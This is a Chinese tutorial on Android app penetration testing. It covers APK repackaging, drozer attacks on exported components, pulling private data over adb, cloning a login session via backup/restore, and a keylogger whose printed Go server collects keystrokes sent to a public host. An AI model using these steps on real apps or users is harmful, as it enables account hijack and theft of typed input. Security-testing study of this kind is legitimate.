1. 程式人生 > >app滲透測試 服務端篇

app滲透測試 服務端篇

### 基本知識 ##### 平時安裝的應用位置,裡面主要是odex可執行檔案 ``` /data/app ``` ##### 系統應用位置(需要root許可權),裡面主要是odex可執行檔案 ``` /system/app ``` ##### 應用的資料相關的位置,裡面包含一些配置,快取資訊 ``` /data/data ``` #### 重打包測試測試 ##### 測試流程 檢測app是否檢測簽名,如果未檢測簽名可重打包篡改app的程式碼再次釋出 首先準備2個工具,apktool.jar和signapk.jar,其次尋找簽名需要的2個證書檔案pk8和pem,可以直接生成我這裡直接拿別人編譯好的,github上隨便搜尋signapk的專案,找到的下面內容 https://github.com/sunshinelyz/mykit-android-signapk ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145730368-841007946.png) 獲取了之後先看之前app的樣子 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145747628-22012046.png) 為了明顯目的是將程式未註冊改為其他的顯示 拿到apk,使用apktool進行反編譯, `-f`為apk名稱 `-o`為生成的資料夾名稱 ``` apktool d -f app-debug.apk -o app 或 java -jar apktool.jar d -f app-debug.apk -o app ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145758761-537284216.png) 此時我們當前路徑下就多了app目錄,開啟他,目錄結構如下,和使用jad和jre反編譯不同,他沒有dex檔案,而是smali檔案 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145806180-1806605472.png) 我們再smali中找到程式未註冊的字元位置,中文在smali中是以unicode編碼的形式儲存 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145812930-669945124.png) 將其修改,hijacking test ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145819775-493859342.png) 重新打包,此處`-f`引數為專案資料夾, `-o` 為生成的apk名稱 ``` apktool b -f app -o test.apk 或 java -jar apktool.jar -f app -o test.apk ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145826063-1264901038.png) 此時還不夠,需要進行簽名 ``` java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test-final.apk ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145832396-178715473.png) 生成我們最終的test-final.apk 但是在安裝時,會出現與已安裝的應用簽名不同,但這並不是說明程式進行了簽名校驗,只是安卓系統進行了版本更新的對比 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145837090-1775827462.png) 將之前的程式刪掉 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145842624-2038201252.png) 再次安裝成功 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145850827-357942793.png) 開啟也成功修改了指定文字 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145856514-1830404760.png) ##### 防禦方式 使用Native層程式碼驗證程式碼的完整性,或者加殼 #### 簽名完整性測試 檢測app是否是原本,還是被第三方重新打包的 ##### 測試流程 ``` jarsigner -verify [apk路徑] ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145934778-810273323.png) 顯示未簽名說明被第三方篡改重新打包了,顯示已驗證為完整的 檢測證書情況 ``` jarsigner -verify -verbose -certs [apk路徑] ``` #### 可匯出元件測試 ##### 測試流程 該漏洞是因為該app元件未進行嚴格許可權控制,導致任意app均可呼叫該元件導致危害 需要的工具為dorzer 匯出的元件前提為,下列滿足其一就可: ``` 1.顯示宣告 android:exported="true" 2.未顯示宣告 android:exported="false" 元件不是 Content Provider 元件不包含 3.未顯示宣告 android:exported="false" 元件是 Content Provider api版本 < 17 ``` 首先選擇目標,我在酷安上隨便找了個應用 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150046788-649492053.png) 手機連線好電腦,分別啟動dorzer ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150057783-1943900088.png) 使用ls可用檢視命令,首先檢視有哪些包在執行 ``` run app.package.list ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150115513-1151001472.png) 有許多結果可以通過`-f`引數進行過濾,這裡檢視目標app的包名可以通過手機中 設定->更多應用->對應app->應用資訊裡面有應用包名 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150122087-40428486.png) ``` run app.package.list -f xxs ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150127029-734422160.png) 檢視包資訊 ``` run app.package.info -a com.xxs.leon.xxs ``` 檢視可攻擊元件資訊 ``` run app.package.attacksurface com.xxs.leon.xxs ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150133115-1826375705.png) 檢視對應元件資訊 ``` run app.activity.info -a com.xxs.leon.xxs #檢視activity元件 run app.broadcast.info -a com.xxs.leon.xxs #檢視broadcast元件 run app.provider.info -a com.xxs.leon.xxs #檢視provider元件 run app.service.info -a com.xxs.leon.xxs #檢視service元件 ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150139363-793865004.png) 那麼接下來可以直接呼叫對應元件,實現繞過app本身邏輯直接請求元件,一般用於繞過登入之類的漏洞 實體機如果不靈光可以重啟解決 ``` run app.activity.start --component com.xxs.leon.xxs com.xxs.leon.xxs.ui.activity.WebActivity ``` 廣播模組攻擊 ``` run app.broadcast.send --action [元件路徑] --extra string [輸出的變數] [更改的值] ``` 因為小小書app不太典型,因此使用dorzer官網自帶的測試漏洞app https://labs.f-secure.com/tools/drozer/ 整個程式功能大致為輸入密碼後輸出資訊 啟動server服務 ``` run app.service.start --action com.mwr.example.sieve(包名) --component com.mwr.example.sieve(包名) com.mwr.example.sieve.AuthService(元件名) ``` 檢視ContentProvider並找到url路徑`-a`後接包名 ``` run scanner.provider.finduris -a com.mwr.example.sieve ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150151204-1634554392.png) provider 元件可能存在客戶端的sql注入和目錄遍歷的問題 ``` #sql注入 run scanner.provider.injection -a com.mwr.example.sieve #目錄遍歷 run scanner.provider.traversal -a com.mwr.example.sieve ``` #### 敏感檔案洩露 一般敏感的檔案有sqlite的資料庫檔案,xml檔案,logcat日誌內容 使用root許可權的adb,前往程式app的資料夾下(路徑可通過drozer去檢視) ``` adb root adb shell cd xxx/xxx/xxx ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150157735-147038412.png) sqlite檔案一般在databases下面 可以看到存在database.db的檔案,可以通過find命令去查詢 ``` find /data/user/0/com.mwr.example.sieve -name *.db ``` 回到pc的命令列,使用adb pull命令將db拷貝出來 ``` adb pull /data/user/0/com.mwr.example.sieve/databases/database.db ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150204956-309001129.png) 用工具開啟sqlite資料庫檔案 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150209157-969839897.png) xml配置檔案一般在shared_prefs下面 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150214091-1680390220.png) 將其拷貝出來 ``` adb pull /data/user/0/com.xxs.leon.xxs/shared_prefs ``` 比如小小書的公告內容寫在了配置中(這裡應該是通過網路傳輸更新配置檔案的) ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150220432-895169416.png) Logcat 日誌匯出 ``` adb shell logcat -d >
1.txt ``` 使用檔案編輯器全域性搜尋翻閱 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150227274-1072507935.png) #### 靜態資源備份打包 AllowBackup屬性設定為true,則存在備份打包漏洞,使用原理如手機A某app登入了賬號,該app的AllowBackup屬性設定為true,此時在手機A上打包該app並匯出,將匯出的apk重新放入手機B中,手機B預設登入手機A中的賬號 ``` #連線手機A adb kill-server adb backup -nosystem -noshared -apk -f com.xxs.leon.xxs.ab com.xxs.leon.xxs #連線手機B adb kill-server adb devices adb restore com.xxs.leon.xxs.ab ``` 準備手機A ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150240604-312711241.png) 手機B未登入 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150247358-1352814127.png) 把小小書進行備份,並且將備份寫入手機B ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150253050-2081464944.png) 成功登陸 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150259974-2118703263.png) #### 鍵盤記錄漏洞 github專案 https://github.com/bshu2/Android-Keylogger 需要自己編譯apk,自己編譯時將apk的url路徑改為自己的公網伺服器地址 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150308122-90252601.png) 之後在伺服器上啟動server.go服務,這裡需要改動下,將init內容寫到main函式中,並且將包改為package main,埠號與apk中的修改的url地址相對應即可 ``` package main import ( "io/ioutil" "fmt" "strings" "net/http" ) var entries = []string{} func init() { http.HandleFunc("/", handler) http.ListenAndServe(":5001", nil) } func handler(w http.ResponseWriter, r *http.Request) { switch r.Method { case "GET": //serve the resource fmt.Fprintf(w, "
") for i, _ := range entries { fmt.Fprintf(w, "%s", entries[len(entries) - i - 1]) } fmt.Fprintf(w, "
TimestampActionData
") case "POST": //add entry body, err := ioutil.ReadAll(r.Body) if err != nil { fmt.Fprintf(w, err.Error()) } entry := strings.SplitN(string(body), "|", 3) new_entry := fmt.Sprintf("%s
%s %s", entry[0], entry[1], entry[2]) entries = append(entries, new_entry) if len(entries) > 100 { entries = entries[1:] } fmt.Fprintf(w, "POST\n") default: //do nothing } } func main(){ http.HandleFunc("/", handler) http.ListenAndServe(":5001", nil) } ``` 啟動server ``` go run server.go ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150321274-865761631.png) 手機上啟動app需要root許可權,將app掛到後臺 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150326918-205229794.png) 輸入的記錄,將傳送到go語言啟動的web伺服器 ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150332469-1632685032.png) 以上操作需要root許可權,並且很變態在於自定義鍵盤也可以獲取輸入內容 不需要root許可權可使用專門記錄鍵盤的app,相當於安裝記錄輸入內容的輸入法app,在測試物件沒有使用自定義軟鍵盤的情況下,呼叫該輸入法app,則會存在輸入內容被竊取記錄的風險 #### 螢幕擷取漏洞 ``` adb shell /system/bin/screencap -p /data/1.png 從手機放入電腦 adb pull /data/1.png ``` ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150340532-1749189990.png) ![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150346192-1741950314.png)